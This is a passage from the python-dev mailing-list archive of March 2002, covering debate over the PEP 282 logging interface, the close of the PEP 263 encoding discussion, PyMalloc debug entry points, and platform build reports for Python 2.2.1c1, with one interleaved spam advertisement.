    Guido> Do we have to continue to discuss this with Turnbull?

No, you don't.

I was invited to comment, I have.

Evidently advice about "rereading until understanding" and "resetting
brain" applies only to me.  Not unreasonable given who's who, but I
think the asymmetry unwise and regrettable.  Anyway, I've followed the
advice, but it hasn't produced agreement.  Since further "discussion"
probably won't, either, =A1adi=F3s, amigos!

Well ... thanks for everything.  Nice product, reliable process, good
people.  I've learned a lot, it'll be good for XEmacs for sure.  I'm
sorry it looks to mostly have been a waste of time for Python.

--=20
Institute of Policy and Planning Sciences     http://turnbull.sk.tsukuba.ac=
.jp
University of Tsukuba                    Tennodai 1-1-1 Tsukuba 305-8573 JA=
PAN
              Don't ask how you can "do" free software business;
              ask what your business can "do for" free software.


From jeremy@zope.com  Fri Mar 22 00:13:48 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 19:13:48 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <3C9A7233.2060600@campuspipeline.com>
References: <E16oB9C-0000vn-00@mail.python.org>
 <3C9A7233.2060600@campuspipeline.com>
Message-ID: <15514.30524.932413.954442@slothrop.zope.com>

>>>>> "KB" == Kevin Butler <kbutler@campuspipeline.com> writes:

  KB> [Jeremy]
  >> Why do you need **kwargs at all?

  KB> So we can postpone formatting the optional arguments into a
  KB> message until after we test if we're going to log the message or
  KB> not.

Aha!  I must have gone out of my way to miss this.  This is certainly
a good thing.  In the case of the ZEO server, we put all the trace and
debug level logging calls inside "if __debug__:"  We see a 20% speedup
on compute intensive benchmarks when running with -O.  So avoiding the
string formatting is a nice savings.

On the other hand, extended calls -- where the caller passes *args or
**args -- are a lot slower than regular calls.  It would be
interesting to benchmark both approaches.  I expect that no-formatting
is faster, but wouldn't bet too much on it.  Apps probably still
benefit from exploting if __debug__.

Jeremy



From jeremy@zope.com  Fri Mar 22 00:17:27 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 19:17:27 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020321191649.A26767@ActiveState.com>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <001f01c1d0c1$92d54340$652b6992@alpha>
 <15513.63680.8896.435008@slothrop.zope.com>
 <20020321191649.A26767@ActiveState.com>
Message-ID: <15514.30743.483694.622355@slothrop.zope.com>

>>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:

  TM> [Jeremy Hylton wrote]
  >> Why do you need **kwargs at all?  Can't the interface specify the
  >> complete set of optional arguments explicitly?

  TM> If, as I said, we want to keep the '*args' argument, how do we
  TM> explicitly specify an 'exc_info' argument?

  TM>     def info(self, msg, *args, exc_info=None):
  TM>                                       ^------- SyntaxError

>>> def info(self, msg, exc_info=None, *args):
...     return msg, exc_info, args
...
>>> info(1, 2, 3, 4, 5)
(2, 3, (4, 5))

Jeremy



From jeremy@zope.com  Fri Mar 22 00:40:49 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 19:40:49 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020321193747.C26767@ActiveState.com>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
Message-ID: <15514.32145.635345.602512@slothrop.zope.com>

>>>>> "TM" == Trent Mick <trentm@ActiveState.com> writes:

  TM> The argument for the former is:
  TM> (1) KISS and YAGNI

I've said my piece for the most part, but this YAGNI stuff bugs me.
YAGNI means: 

    Always implement things when you actually need them, never when
    you just foresee that you need them. 
    [From http://www.xprogramming.com/Practices/PracNotNeed.html] 

I actually need this feature.  If the standard logger doesn't have it,
we'll have to extend Zope with a Zope-specific logger that adds the
feature.  I'm not asking for a feature because I think it might be
useful.

Rather, I'd think that Kevin and I are offering some real-world
experience.  We've written or maintain large, production-quality
applications that use logging.  In Zope, it has been useful to log
tracebacks for exceptions at levels other than error.  And it has been
necessary to pass an exception explicitly because sys.exc_info() would
get stomped by a subsequent exception.

Now, KISS is different.  It may be that the kinds of things that Kevin
and I are trying to do are so unusual that no one else will ever do
it.  By this argument, supporting a few cases from oddball customers
makes your code harder to understand and maintain; perhaps other users
will find the interface confusing because of the extra features.

Jeremy



From tim.one@comcast.net  Fri Mar 22 05:32:20 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 00:32:20 -0500
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: <m3y9glpqst.fsf@mira.informatik.hu-berlin.de>
Message-ID: <LNBBLJKPBEHFEDALKOLCMEKKOGAA.tim.one@comcast.net>

[Tim]
> I disapprove of #define'ing WITH_MALLOC_HOOKS:  it slows every 
> entry point whether you're using hooks or not.  I'd like to remove
> the hook subsystem.

[MvL]
> +0. Notice, however, that it is currently activated by default if
> pymalloc is activated.

I'm pretty sure that won't be true once it's removed <wink>.


From tim.one@comcast.net  Fri Mar 22 06:00:37 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 01:00:37 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15514.32145.635345.602512@slothrop.zope.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCIEKMOGAA.tim.one@comcast.net>

[Jeremy]
> ...
> Now, KISS is different.  It may be that the kinds of things that Kevin
> and I are trying to do are so unusual that no one else will ever do
> it.  By this argument, supporting a few cases from oddball customers
> makes your code harder to understand and maintain; perhaps other users
> will find the interface confusing because of the extra features.

Just because Guido and Trent think Zope is extreme doesn't mean you should
run off arguing to get rid of floats, complexes, Unicode, weakrefs, rotor,
imp, curses, posixfile, gopherlib, xdrlib, mailcap and Macintosh support.

can't-decide-whether-i'm-winking-ly y'rs  - tim



From aahz@pythoncraft.com  Fri Mar 22 06:18:06 2002
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 22 Mar 2002 01:18:06 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <15514.30524.932413.954442@slothrop.zope.com>
References: <E16oB9C-0000vn-00@mail.python.org> <3C9A7233.2060600@campuspipeline.com> <15514.30524.932413.954442@slothrop.zope.com>
Message-ID: <20020322061806.GB2480@panix.com>

On Thu, Mar 21, 2002, Jeremy Hylton wrote:
>
> Aha!  I must have gone out of my way to miss this.  This is certainly
> a good thing.  In the case of the ZEO server, we put all the trace and
> debug level logging calls inside "if __debug__:"  We see a 20% speedup
> on compute intensive benchmarks when running with -O.  So avoiding the
> string formatting is a nice savings.

Hrm.  Based on previous comments, particularly from the Timbot, I'm
wondering whether the linkage between !debugging and optimizing is too
tight in Python, and whether constructs like this should be deprecated.
Seems to me that there will definitely be times you want debugging
output when you're running -O.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From jeremy@zope.com  Fri Mar 22 01:38:39 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Thu, 21 Mar 2002 20:38:39 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020322061806.GB2480@panix.com>
References: <E16oB9C-0000vn-00@mail.python.org>
 <3C9A7233.2060600@campuspipeline.com>
 <15514.30524.932413.954442@slothrop.zope.com>
 <20020322061806.GB2480@panix.com>
Message-ID: <15514.35615.337153.84670@slothrop.zope.com>

>>>>> "A" == aahz  <aahz@pythoncraft.com> writes:

  A> Hrm.  Based on previous comments, particularly from the Timbot,
  A> I'm wondering whether the linkage between !debugging and
  A> optimizing is too tight in Python, and whether constructs like
  A> this should be deprecated.  Seems to me that there will
  A> definitely be times you want debugging output when you're running
  A> -O.

There definitely are times when we want debugging outputs when running
with -O, but we live with restarting the server in those cases.  There
is such a big performance benefit to not even compiling the code when
-O is enabled.

Jeremy



From tim.one@comcast.net  Fri Mar 22 06:28:25 2002
From: tim.one@comcast.net (Tim Peters)
Date: Fri, 22 Mar 2002 01:28:25 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <20020322061806.GB2480@panix.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCCEKOOGAA.tim.one@comcast.net>

[Aahz]
> Hrm.  Based on previous comments, particularly from the Timbot, I'm
> wondering whether the linkage between !debugging and optimizing is too
> tight in Python,

It is, and they're not the same thing in reality.

> and whether constructs like this should be deprecated.

In favor of what?  It (__debug__) serves a useful purpose now; that's why
it's being used, after all.

> Seems to me that there will definitely be times you want debugging
> output when you're running -O.

As was lamented recently on c.l.py, it's also the case that when developing
a large system, you often want to enable asserts only in a small subset of
the newer modules.  People used to approximate that by setting __debug__
explicitly to 0 or 1 on a per-module basis, but that's been deprecated (to
the point of extinction, although Martin will point out that you can still
fool the compiler by setting __debug__ indirectly via the module dict).

I doubt there are any easy answers here.  But please don't let that stop you
from just solving it <wink>.



From martin@v.loewis.de  Fri Mar 22 08:29:19 2002
From: martin@v.loewis.de (Martin v. Loewis)
Date: 22 Mar 2002 09:29:19 +0100
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: <87bsdhdy7s.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org>
 <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp>
 <m3663tho4v.fsf@mira.informatik.hu-berlin.de>
 <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp>
 <012801c1d020$19da91d0$ced241d5@hagrid>
 <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp>
 <005801c1d0cf$533c8f50$0900a8c0@spiff>
 <200203211323.g2LDNdQ06924@pcp742651pcs.reston01.va.comcast.net>
 <87bsdhdy7s.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <m3adt1vwdc.fsf@mira.informatik.hu-berlin.de>

"Stephen J. Turnbull" <stephen@xemacs.org> writes:

> Well ... thanks for everything.  Nice product, reliable process, good
> people.  I've learned a lot, it'll be good for XEmacs for sure.  I'm
> sorry it looks to mostly have been a waste of time for Python.

Please don't take it that negative. I have learned a lot, for example,
that the iso-2022 encodings in general don't roundtrip to Unicode. On
the PEP itself, everything you said convinced me that the PEP in
itself is the right thing to do.

Regards,
Martin



From groupagent@myegroups.com  Fri Mar 22 04:05:33 2002
From: groupagent@myegroups.com (My eGroups Agent)
Date: Fri, 22 Mar 2002 04:05:33 (GMT)
Subject: [Python-Dev] It's About Time
Message-ID: <E16oLdQ-0003Q8-00@mail.python.org>

<html>
<head>
<title>Automated Message</title>
<style>
 body { font-size: 12pt; color: #000080; font-family: Comic Sans=
 MS }
a     { color: #1E90FF; font-family: Arial; text-decoration:=
 bold; font-weight: bold }
A:hover { COLOR: navy; TEXT-DECORATION: underline }
A:active { TEXT-DECORATION: underline }

</style>
</head>
<body>

We have some exciting news!  <a=
 href=3D"http://www.myegroups.com">My eGroups</a> is a new service=
 that provides a great new way to organize your groups online!=
 The concept is to provide online tools to organize any group,=
 including the following: 
<ul><strong>
<li>Friends</li>
<li>Social clubs</li>
<li>Kids playgroups</li>
<li>Community groups</li>
<li>Sports clubs</li>
<li>Golf buddies</li>
<li>Neighborhood Associations</li>
</strong></ul>
<font color=3D"#FF0000">Any group that needs to share information,=
 schedule events, post discussion items, take a group vote, or=
 keep an updated contact list is perfect for</font> <a=
 href=3D"http://www.myegroups.com">My eGroups!</a> It is extremely=
 flexible and designed to allow any type of group to <font=
 color=3D"#FF0000">collaborate and organize on-line!</font>  It is=
 a great service that you will get a lot of value out of when you=
 <a href=3D"http://www.myegroups.com">become a member!</a><p>

Here is a link where you can find additional information =96 <a=
 href=3D"http://www.myegroups.com">http://www.myegroups.com</a>. =
 Visit the site and see what it is all about!  When you sign up,=
 please use Promotion Code - <strong>00MM2</strong>! <p>

  If you have any questions about the site or ideas for=
 improvements, please let us know.  You can <a=
 href=3D"http://www.myegroups.com/members/feedback.asp">submit=
 feedback</a> directly from the site!<p>

We know you are <font color=3D"#FF0000">busy</font>...that is why=
 we created My eGroups.<P align=3Dleft><A=
 href=3D"http://www.myegroups.com"><IMG height=3D78=
 src=3D"http://www.myegroups.com/images/MyEGroupLogosm.gif"=
 width=3D289 border=3D0></A></P>
My eGroups...It's about PEOPLE...It's about TIME!

<small>
<p align=3D"center">
You have received this message because of your online=
 affiliations and indications that 
you may be interested in new online services .   If this message=
 has reached you in error 
or you no longer wish to receive these email promotions please 
 <a href=3D"http://www.myegroups.com/OptOut.asp">click here</a> 
to unsubscribe. </p>
<p align=3D"center">
You  may also reply to this message with the word=
 &quot;Remove&quot; in the subject 
field.</p></small>
</body></html>



From mwh@python.net  Fri Mar 22 10:14:38 2002
From: mwh@python.net (Michael Hudson)
Date: 22 Mar 2002 10:14:38 +0000
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: martin@v.loewis.de's message of "21 Mar 2002 18:50:37 +0100"
References: <web-3786338@digicool.com> <15513.62483.218999.747200@grendel.zope.com> <m3k7s5res2.fsf@mira.informatik.hu-berlin.de>
Message-ID: <2mzo10nc35.fsf@starship.python.net>

martin@v.loewis.de (Martin v. Loewis) writes:

> "Fred L. Drake, Jr." <fdrake@acm.org> writes:
> 
> > I'm pretty sure I asked you to proofread that at one point, though I
> > don't recall whether you did.
> 
> Given this API, I assume modules who use PyCell_GET would crash; if
> authors restrict themselves to the non-macro versions, and never
> declare PyCellObject variables (only pointers), the modules will
> continue to work.
> 
> I'm personally fine with the assertion that nobody did this, so it is
> ok to change (thus breaking the ABI). If so, the argument "fix it
> sooner rather than later" escapes me, though.
> 
> In any case: you have been warned...

I'll back it out, for the sake of paranoia.  Just not just yet.

Cheers,
M.

-- 
  ARTHUR:  Yes.  It was on display in the bottom of a locked filing
           cabinet stuck in a disused lavatory with a sign on the door
           saying "Beware of the Leopard".
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 1


From vinay_sajip@red-dove.com  Fri Mar 22 10:12:37 2002
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Fri, 22 Mar 2002 10:12:37 -0000
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com><web-3791391@digicool.com><20020321004605.D32590@ActiveState.com><200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net><20020321104204.C7763@ActiveState.com><15513.63460.96950.618541@slothrop.zope.com><20020321193747.C26767@ActiveState.com> <15514.32145.635345.602512@slothrop.zope.com>
Message-ID: <000501c1d18a$196c3b20$652b6992@alpha>

[Jeremy, on logging tracebacks at any level]
> I actually need this feature.  If the standard logger doesn't have it,
> we'll have to extend Zope with a Zope-specific logger that adds the
> feature.  I'm not asking for a feature because I think it might be
> useful.
Let me try and summarise - perhaps only for my own benefit :-)

1. Jeremy would like to be able to send traceback information from a logging
call at any level.
2. Guido is not keen on passing in exc_info from client code - the logger
should call sys.exc_info() automatically when required. And the "when" is
the crux of it...
3. In the context of an exception handler, a developer may want to send
different things to different loggers - e.g.

#Assume the traceback will provide info on which table, record, etc. caused
the problem
adminEmailer.exception("A record lock prevented completion. Please deal with
the mess.")
#We'd like to tell the developers the exact context too, as a diagnostic aid
developers.info("Yet another record locking problem was seen. Why oh why?")
#No traceback needed for this, it's just for the record (no pun intended)
dbstats.info("%-20s %s '%s'", "RECORD LOCK", self.table, self.key)

In the first call, the logic of "when" is built into the choice of call. In
the other two calls, we'd like to use the same method, but have it behave
differently in the two cases. Now, the decision about tracebacks has to be
made at *some* point. Let's assume that wherever that decision is made, we
can just call the low-level logging method _log(), as defined below:

class Logger:
...
  def _log(self, level, want_traceback, msg, args_tuple):
    """Low level logging method"""
    #Do the needful - if want_traceback is true, call sys.exc_info() and log
traceback info
    ...

So, the convenience methods become something like:

  def log(self, level, msg, *args):
    """For cases where the level needs to be computed by the caller at run
time"""
    if self.enabledFor(level):
      self._log(level, 0, msg, args)

  def info(self, msg, *args):
    if self.enabledFor(INFO):
      self._log(INFO, 0, msg, args)
  #and analogously for DEBUG, WARN, ERROR, FATAL

and then

  def exception(self, msg, *args):
    """Use when handling an exception"""
    if self.enabledFor(ERROR):
      self.log(ERROR, 1, msg, args)

Now, I hope all would agree that for "normal" use, the interface is fairly
minimal and in keeping with XP principles. In fact, some would argue that
debug(), info() etc. are redundant - so you can think of them as syntactic
sugar. Now to deal with the case of tracebacks at arbitrary levels, I
implemented

  def logException(self, level, msg, *args):
    """The same as log, except that it sends a 1 to _log for
want_traceback"""
    if self.enabledFor(level):
      self._log(level, 1, msg, args)

But I think we all neglected to see that by implementing exception with one
extra argument, the whole controversy goes away. Just remove logException
and change exception so that it becomes

  def exception(self, level, msg, *args):
    """Use when handling an exception"""
    if self.enabledFor(level):
      self.log(level, 1, msg, args)

We've effectively renamed logException() as exception(). There's not a lot
to choose between

    logger.exception(INFO, msg, args)

and

    logger.exception(msg, args)

If people can't stomach having to put the level into every call to
exception, then we can keep exception as it was [syntactic sugar] and
reintroduce logException (perhaps change the name, it's a bit of a sore
thumb).

If any more syntactic sugar is wanted, then I think it's reasonable for
people to roll their own classes. For example, some users want to use their
own levels, no doubt for their own good reasons. The current implementation
supports this. They can use log() and logException(), but debug(), info(),
warn(), error(), fatal() and exception() are useless to them - and so
exposed as the syntactic sugar they really are. So if users really want,
they can define a level BAD_HAIR_DAY and a corresponding sugar method
bad_hair_day(self, msg, *args) which calls either log() or logException(),
as they please. It's not a job for the standard module, I'm sure all would
agree.

[Slightly OT] The above issues have generated an awful lot of discussion,
and perhaps rightly so, but I'm conscious of time slipping by. I'd certainly
like logging to make it into 2.3a1, and there are a lot of other, more
important functional issues (such as: configurability) which need your
thoughts and ideas. Can I make a plea for input in this area? I know that
Python-dev people are busy people, so I don't know how many of you have had
time to actually try out the implementation, but I think it would help the
cause of PEP 282 if they gave specific feedback in other areas? For example:

Packaging: I originally implemented it as a package with separate modules
for logger, handler etc. and then consolidated into one module. I think one
module is better, except for the specific handlers - they don't all need to
be in the standard module. Perhaps MemoryHandler, StreamHandler and
FileHandler. But others such as SysLogHandler, NTEventLogHandler,
SMTPHandler, and perhaps even SocketHandler and DatagramHandler - should
they be in the same module, or should they perhaps go into a separate
"loghandlers" module which is also part of Python?

Specific handler implementations: what improvements could be made?

[Even more OT - for Monty Python fans] You know, it's really surprising that
Python hasn't had a logging module before, especially given the "Lumberjack"
song. I even thought of calling the package "Lumberjack" before the idea of
putting it into core Python came up :-)

Thanks & Regards

Vinay Sajip





From mwh@python.net  Fri Mar 22 10:50:41 2002
From: mwh@python.net (Michael Hudson)
Date: 22 Mar 2002 10:50:41 +0000
Subject: [Python-Dev] Debug entry points for PyMalloc
In-Reply-To: Tim Peters's message of "Thu, 21 Mar 2002 14:45:32 -0500"
References: <BIEJKCLHCIOIHAGOKOLHKECFCOAA.tim.one@comcast.net>
Message-ID: <2mwuw4naf2.fsf@starship.python.net>

Tim Peters <tim.one@comcast.net> writes:

> [Michael Hudson]
> > ...
> > Presuambly it would be possible to do this wrapped around malloc() &
> > free() too?
> 
> Provided they were spelled PyMem_Malloc etc, sure.  The debug routines as
> sketched don't make any secret assumptions about the underlying allocators
> they call.

That's what I thought.

> > No real point, I guess.
> 
> There may be an excellent point to it:  one of the pad bytes could be used
> to record which "API family" a block of memory came from.  Then a
> mismatching realloc/free could be caught directly at the time it happened.

Good point!

> >> + The Debug free first uses the address to find the number of bytes
> >>   originally asked for, then checks the 8 bytes on each end for
> >>   sanity (in particular, that the PYMALLOC_FORBIDDENBYTEs are still
> >>   intact).
> >>   XXX Make this checking a distinct entry point.
> 
> > Yes.  Particularly if you can call it from gdb.
> 
> Is something extraordinary required to make that possible?  I had in mind
> nothing fancier than
> 
> extern void _PyMalloc_DebugCheckAddress(void* p);

Dunno.  I ought to learn how to use gdb properly.

[...]
> > ...
> > What are you waiting for? <wink>
> 
> For endless silly objections to fade away <wink>.

Well, if you consider my comments to be objections, feel free to
consider them to be written in very faint writing :)

Cheers,
M.

-- 
  While preceding your entrance with a grenade is a good tactic in
  Quake, it can lead to problems if attempted at work.    -- C Hacking
               -- http://home.xnet.com/~raven/Sysadmin/ASR.Quotes.html


From mwh@python.net  Fri Mar 22 11:44:52 2002
From: mwh@python.net (Michael Hudson)
Date: 22 Mar 2002 11:44:52 +0000
Subject: [Python-Dev] 2.2.1c1 platform reports.
Message-ID: <2m4rj825e3.fsf@starship.python.net>

I crunched through the various platform experiences I'd heard for
2.2.1c1, and came up with the following.  Can anyone fill in some
gaps, add comments or dig into some of the mentioned problems?  Things
are looking fairly good, but reports from AIX-land in particular are
making my head spin like a top.

If I remember, I'll try to keep a copy of this at

   http://starship.python.net/crew/mwh/221c1-reports.txt

Hardware: Intel
OS: Linux, BeOS, Win32

all fine.

OS: FreeBSD

test_math.test_exceptions blows up with "sqrt(-1) does not raise
ValueError".  It seems FreeBSD's libm doesn't set errno in this case,
and that MacOSX has inherited this behaviour (see below)

OS: OpenBSD

test_signal hangs on the sf compile farm.  We've had reports of this
before.  I can't be bothered to dig into it today.

OS: NetBSD

no reports.

Hardware: Sparc
OS: Solaris, Linux

also fine

Hardware: RS/6000
OS: AIX 3.5.2

./configure dies without "--without-gcc"; don't know if it actually
builds with it...

OS: AIX 4.2

some posixmodule gremlins.  Suggested fix to reporter; awaiting
confirmation before I check it in.

OS: Linux

OK on the compile farm.

Hardware: Mac
OS: MacOS 8.1

Doesn't work at all apparently :( A linking problem.  I hope Jack can
sort this out -- certainly noone else can.

Oh, apparently it's fixed, but it doesn't work on 8.5, or something...

OS: MacOS 9

I doubt Jack would have let me release c1 if this hadn't worked :)

OS: MacOSX

Has the same test_math problem as FreeBSD/x86 (which is perhaps not so
surprising).

Everything else is fine, except on sf's compile farm machine, which
seems to be fubarred anyway.

OS: Linux

Fine.

Hardware: S390
OS: Linux

Fine.

Hardware: Alpha
OS: Linux

Fine (I think)

OS: Digital Unix^W^WTru64^WWhatever V4.0

Threads b0rken, test_format fails (old libc bug)

OS: Digital Unix^W^WTru64^WWhatever V5.1

Fine.

OS: NetBSD (from Compaq's testdrive program).

Not happy.  Anyone care to dig in?

Hardware: IA-64
OS: Linux

Fine.

Hardware: HP PA-RISC (shut up at the back there!)
OS: HP-UX A.09.05 

Apparently OK (!).  It built, anyway.

OS: HP-UX B.11.00

Seems to have unicode difficulties.

Hardware: SGI
OS: Irix 6.5

Fine.

Hardware: Cray (!) J90
OS: UNICOS 10.0.0.3

Got nowhere, as it couldn't define PY_UNICODE_TYPE.

Asked tester to try --disable-unicode and it dies in _sre.c:

cc -DNDEBUG -O -I. -I./Include -DHAVE_CONFIG_H   -c ./Modules/_sre.c -o Modules/_sre.o
CC-147 cc: ERROR File = ./Modules/_sre.c, Line = 1791
  Declaration is incompatible with "int join(char *, char *)" (declared at line
          300 of "/usr/include/unistd.h").

  join(PyObject* list, PyObject* pattern)

Sigh...


-- 
  ZAPHOD:  Listen three eyes, don't try to outwierd me, I get stranger
           things than you free with my breakfast cereal.
                    -- The Hitch-Hikers Guide to the Galaxy, Episode 7


From guido@python.org  Fri Mar 22 13:47:34 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 08:47:34 -0500
Subject: [Python-Dev] PEP 263 considered faulty (for some Japanese
In-Reply-To: Your message of "22 Mar 2002 13:26:47 +0900."
 <87bsdhdy7s.fsf@tleepslib.sk.tsukuba.ac.jp>
References: <Pine.LNX.4.21.0203172109580.657-100000@familjen.svensson.org> <87u1reji0b.fsf@tleepslib.sk.tsukuba.ac.jp> <m3663tho4v.fsf@mira.informatik.hu-berlin.de> <87d6xzj549.fsf@tleepslib.sk.tsukuba.ac.jp> <012801c1d020$19da91d0$ced241d5@hagrid> <87it7qfpcw.fsf@tleepslib.sk.tsukuba.ac.jp> <005801c1d0cf$533c8f50$0900a8c0@spiff> <200203211323.g2LDNdQ06924@pcp742651pcs.reston01.va.comcast.net>
 <87bsdhdy7s.fsf@tleepslib.sk.tsukuba.ac.jp>
Message-ID: <200203221347.g2MDldY08457@pcp742651pcs.reston01.va.comcast.net>

> Anyway, I've followed the advice, but it hasn't produced agreement.

I don't think agreement was ever a goal.  We were doing a reality
check to find out if we were about to commit a major blunder.  Through
your answers you have provided us with the information to decide this
for ourselves, and possibly tweak our decisions.  Whether or not you
agree with us doesn't matter now. :-)

> I'm sorry it looks to mostly have been a waste of time for Python.

I doubt it.  We've all learned a lot.

Also when to stop.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 22 13:44:46 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 08:44:46 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: Your message of "Thu, 21 Mar 2002 19:40:49 EST."
 <15514.32145.635345.602512@slothrop.zope.com>
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com> <20020321193747.C26767@ActiveState.com>
 <15514.32145.635345.602512@slothrop.zope.com>
Message-ID: <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>

>   TM> The argument for the former is:
>   TM> (1) KISS and YAGNI

[Jeremy]
> I've said my piece for the most part, but this YAGNI stuff bugs me.

Then let me explain it some more.  This logger module is not just for
Zope, it's for all Python users.  It's clear that for 99% of the uses,
this *is* a case of YAGNI.  Lots of standard Python modules lack
advanced features so they can be more easy to understand or maintain.
That's also the 80% principle, and I'm sticking to it.

In many of those cases, users who need an advanced feature can easily
add it by creating a subclass, or using other extensibility features
(e.g. hooks).  Occasionally, it's needed to rewrite the base
functionality from scratch in order to add something new.  If that
happens too often, the library design should probably be revised.

Zope is a sophisticated application that has needs that go far beyond
those of most Python users.  I'm very happy that it's proved possible
to write Zope in Python.  But I don't think it should be the measuring
stick by which the functionality of the standard library must be
measured.

Here's another way to look at it.  To support the base functionality,
we need an X amount of code.  To add the feature of logging exceptions
at any level, we would need an additional Y amount.  The number Y is
much smaller than X, but not insignificant.  If the size of a subclass
that adds that feature is approximately equal to Y, I think it should
be kept out of the base class in this case, because you can easily
write that subclass for Zope.  If writing such a subclass would
require significantly more code than Y (the amount of code needed to
integrate it directly into the base class), I agree that the base
class needs to be reworked to make this easier to add, or even to
support it outright.  But I find that hard to believe in this case.

[KISS]

As a compromise, would it make sense to have 5 simple logging methods
that indicate the level by their name and have no support for handling
exceptions, and one more general function that takes an error level
argument and an optional exc_info?  That more general function would
be useful in some other cases (e.g. for programs that want to tweak
the logging levels for certain loggable events) and adding it is much
less disturbing to the simplicity of the standard interface than
adding exc_info support to each of the simple methods.

It would mean that ZEO would have to use a slightly more expensive
(because it's more general) interface in the one or two cases where it
wants to log an exception at the info level.  I doubt that these
exceptions happen often enough to notice the difference.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From perky@fallin.lv  Fri Mar 22 13:55:08 2002
From: perky@fallin.lv (Hye-Shik Chang)
Date: Fri, 22 Mar 2002 22:55:08 +0900
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2m4rj825e3.fsf@starship.python.net>; from mwh@python.net on Fri, Mar 22, 2002 at 11:44:52AM +0000
References: <2m4rj825e3.fsf@starship.python.net>
Message-ID: <20020322225508.A73331@fallin.lv>

On Fri, Mar 22, 2002 at 11:44:52AM +0000, Michael Hudson wrote:
> 
> OS: FreeBSD
> 
> test_math.test_exceptions blows up with "sqrt(-1) does not raise
> ValueError".  It seems FreeBSD's libm doesn't set errno in this case,
> and that MacOSX has inherited this behaviour (see below)
> 
> OS: OpenBSD
> 
> test_signal hangs on the sf compile farm.  We've had reports of this
> before.  I can't be bothered to dig into it today.
> 
> OS: NetBSD
> 
> no reports.
> 

All *BSDs are using msun of Sun as math library.
NetBSD and OpenBSD may be same with FreeBSD.

ENTRY(__ieee754_sqrt)
        fldl    4(%esp)
        fsqrt
        ret

double sqrt(double x)           /* wrapper sqrt */
{
        return __ieee754_sqrt(x);
}

I'll submit PR to both of FreeBSD and NetBSD.

Regards,

--
Hye-Shik Chang <perky@fallin.lv>
Yonsei University, Seoul


From guido@python.org  Fri Mar 22 13:54:47 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 08:54:47 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: Your message of "Thu, 21 Mar 2002 20:38:39 EST."
 <15514.35615.337153.84670@slothrop.zope.com>
References: <E16oB9C-0000vn-00@mail.python.org> <3C9A7233.2060600@campuspipeline.com> <15514.30524.932413.954442@slothrop.zope.com> <20020322061806.GB2480@panix.com>
 <15514.35615.337153.84670@slothrop.zope.com>
Message-ID: <200203221354.g2MDsmP08528@pcp742651pcs.reston01.va.comcast.net>

[Aahz]
>   A> Hrm.  Based on previous comments, particularly from the Timbot,
>   A> I'm wondering whether the linkage between !debugging and
>   A> optimizing is too tight in Python, and whether constructs like
>   A> this should be deprecated.  Seems to me that there will
>   A> definitely be times you want debugging output when you're running
>   A> -O.

[Jeremy]
> There definitely are times when we want debugging outputs when running
> with -O, but we live with restarting the server in those cases.  There
> is such a big performance benefit to not even compiling the code when
> -O is enabled.

+1 on making debugging and optimization should be separately
selectable options.

-1 in going about it in a hurry.  This should be fixed the next time
we're doing major surgery on the compiler.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mwh@python.net  Fri Mar 22 14:02:07 2002
From: mwh@python.net (Michael Hudson)
Date: 22 Mar 2002 14:02:07 +0000
